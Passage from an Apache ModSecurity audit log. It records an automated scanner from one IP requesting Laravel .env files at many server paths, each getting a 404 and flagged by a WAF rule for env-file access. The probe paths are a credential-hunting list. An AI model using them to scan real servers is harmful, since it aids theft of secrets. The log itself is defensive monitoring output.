Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--2f35590a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--2f35590a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/core/.env"] [unique_id "aqYLimM7dE9KgIIOpQhdjgAAANQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266826601208 117661 (- - -)
Stopwatch2: 1789266826601208 117661; combined=4754, p1=270, p2=4403, p3=0, p4=0, p5=81, sr=110, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2f35590a-Z--
--b8bf7125-A--
[13/Sep/2026:05:33:48.259275 +0300] aqYLjEwu1RSkptiiNIXtlAAAAIs 34.175.231.24 50274 127.0.0.1 7081
--b8bf7125-B--
GET /core/app/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--b8bf7125-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--b8bf7125-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/core/app/.env"] [unique_id "aqYLjEwu1RSkptiiNIXtlAAAAIs"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266828135991 123346 (- - -)
Stopwatch2: 1789266828135991 123346; combined=6245, p1=1660, p2=4528, p3=0, p4=0, p5=57, sr=116, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b8bf7125-Z--
--0b7db76f-A--
[13/Sep/2026:05:33:49.484989 +0300] aqYLjWM7dE9KgIIOpQhdjwAAAMk 34.175.231.24 50280 127.0.0.1 7081
--0b7db76f-B--
GET /config/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--0b7db76f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--0b7db76f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/config/.env"] [unique_id "aqYLjWM7dE9KgIIOpQhdjwAAAMk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266829372356 112689 (- - -)
Stopwatch2: 1789266829372356 112689; combined=4175, p1=233, p2=3881, p3=0, p4=0, p5=61, sr=81, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0b7db76f-Z--
--7b035126-A--
[13/Sep/2026:05:33:50.917730 +0300] aqYLjmM7dE9KgIIOpQhdkAAAANA 34.175.231.24 50296 127.0.0.1 7081
--7b035126-B--
GET /private/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--7b035126-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--7b035126-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/private/.env"] [unique_id "aqYLjmM7dE9KgIIOpQhdkAAAANA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266830793341 124453 (- - -)
Stopwatch2: 1789266830793341 124453; combined=4655, p1=334, p2=4266, p3=0, p4=0, p5=54, sr=141, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7b035126-Z--
--d23aed6b-A--
[13/Sep/2026:05:33:52.214909 +0300] aqYLkEwu1RSkptiiNIXtlQAAAJU 34.175.231.24 50326 127.0.0.1 7081
--d23aed6b-B--
GET /application/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--d23aed6b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--d23aed6b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/application/.env"] [unique_id "aqYLkEwu1RSkptiiNIXtlQAAAJU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266832094858 120116 (- - -)
Stopwatch2: 1789266832094858 120116; combined=6492, p1=1968, p2=4471, p3=0, p4=0, p5=53, sr=154, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d23aed6b-Z--
--7d8ae12d-A--
[13/Sep/2026:05:33:54.005004 +0300] aqYLkTTJ6xTvcJoem7f1dwAAAFc 34.175.231.24 50334 127.0.0.1 7081
--7d8ae12d-B--
GET /bootstrap/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--7d8ae12d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--7d8ae12d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/bootstrap/.env"] [unique_id "aqYLkTTJ6xTvcJoem7f1dwAAAFc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266833892402 112665 (- - -)
Stopwatch2: 1789266833892402 112665; combined=4593, p1=255, p2=4285, p3=0, p4=0, p5=53, sr=91, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7d8ae12d-Z--
--0db0142f-A--
[13/Sep/2026:05:33:55.454085 +0300] aqYLk2M7dE9KgIIOpQhdkwAAANM 34.175.231.24 50346 127.0.0.1 7081
--0db0142f-B--
GET /database/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--0db0142f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--0db0142f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/database/.env"] [unique_id "aqYLk2M7dE9KgIIOpQhdkwAAANM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266835313045 141098 (- - -)
Stopwatch2: 1789266835313045 141098; combined=4211, p1=249, p2=3905, p3=0, p4=0, p5=57, sr=90, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0db0142f-Z--
--9e9f3613-A--
[13/Sep/2026:05:33:56.731666 +0300] aqYLlGM7dE9KgIIOpQhdlAAAANY 34.175.231.24 35258 127.0.0.1 7081
--9e9f3613-B--
GET /storage/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--9e9f3613-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--9e9f3613-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/storage/.env"] [unique_id "aqYLlGM7dE9KgIIOpQhdlAAAANY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266836606052 125741 (- - -)
Stopwatch2: 1789266836606052 125741; combined=4902, p1=298, p2=4526, p3=0, p4=0, p5=78, sr=114, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--9e9f3613-Z--
--58cc5a61-A--
[13/Sep/2026:05:33:58.056458 +0300] aqYLlWM7dE9KgIIOpQhdlQAAAMY 34.175.231.24 35274 127.0.0.1 7081
--58cc5a61-B--
GET /var/www/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--58cc5a61-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--58cc5a61-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/var/www/.env"] [unique_id "aqYLlWM7dE9KgIIOpQhdlQAAAMY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266837934697 121817 (- - -)
Stopwatch2: 1789266837934697 121817; combined=4200, p1=312, p2=3837, p3=0, p4=0, p5=51, sr=126, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--58cc5a61-Z--
--437be303-A--
[13/Sep/2026:05:33:58.838600 +0300] aqYLlmM7dE9KgIIOpQhdlgAAAMs 34.175.231.24 35284 127.0.0.1 7081
--437be303-B--
GET /var/www/html/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--437be303-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--437be303-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/var/www/html/.env"] [unique_id "aqYLlmM7dE9KgIIOpQhdlgAAAMs"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266838701185 137507 (- - -)
Stopwatch2: 1789266838701185 137507; combined=4345, p1=227, p2=3996, p3=0, p4=0, p5=122, sr=99, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--437be303-Z--
--7d8ae12d-A--
[13/Sep/2026:05:34:00.090956 +0300] aqYLl0wu1RSkptiiNIXtlgAAAJI 34.175.231.24 35300 127.0.0.1 7081
--7d8ae12d-B--
GET /current/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--7d8ae12d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--7d8ae12d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/current/.env"] [unique_id "aqYLl0wu1RSkptiiNIXtlgAAAJI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266839976006 115040 (- - -)
Stopwatch2: 1789266839976006 115040; combined=4718, p1=768, p2=3880, p3=0, p4=0, p5=69, sr=91, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7d8ae12d-Z--
--bbc6ce79-A--
[13/Sep/2026:05:34:01.653030 +0300] aqYLmWM7dE9KgIIOpQhdlwAAAMc 34.175.231.24 35302 127.0.0.1 7081
--bbc6ce79-B--
GET /release/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--bbc6ce79-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--bbc6ce79-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/release/.env"] [unique_id "aqYLmWM7dE9KgIIOpQhdlwAAAMc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266841460189 192911 (- - -)
Stopwatch2: 1789266841460189 192911; combined=6308, p1=387, p2=5852, p3=0, p4=0, p5=68, sr=121, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--bbc6ce79-Z--
--c4681f0d-A--
[13/Sep/2026:05:34:02.981293 +0300] aqYLmmM7dE9KgIIOpQhdmAAAAMA 34.175.231.24 35306 127.0.0.1 7081
--c4681f0d-B--
GET /releases/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--c4681f0d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--c4681f0d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/releases/.env"] [unique_id "aqYLmmM7dE9KgIIOpQhdmAAAAMA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266842801514 179835 (- - -)
Stopwatch2: 1789266842801514 179835; combined=5131, p1=337, p2=4737, p3=0, p4=0, p5=57, sr=167, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c4681f0d-Z--
--dccd5a2b-A--
[13/Sep/2026:05:34:04.407325 +0300] aqYLnDTJ6xTvcJoem7f1eAAAAFg 34.175.231.24 35314 127.0.0.1 7081
--dccd5a2b-B--
GET /shared/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--dccd5a2b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--dccd5a2b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
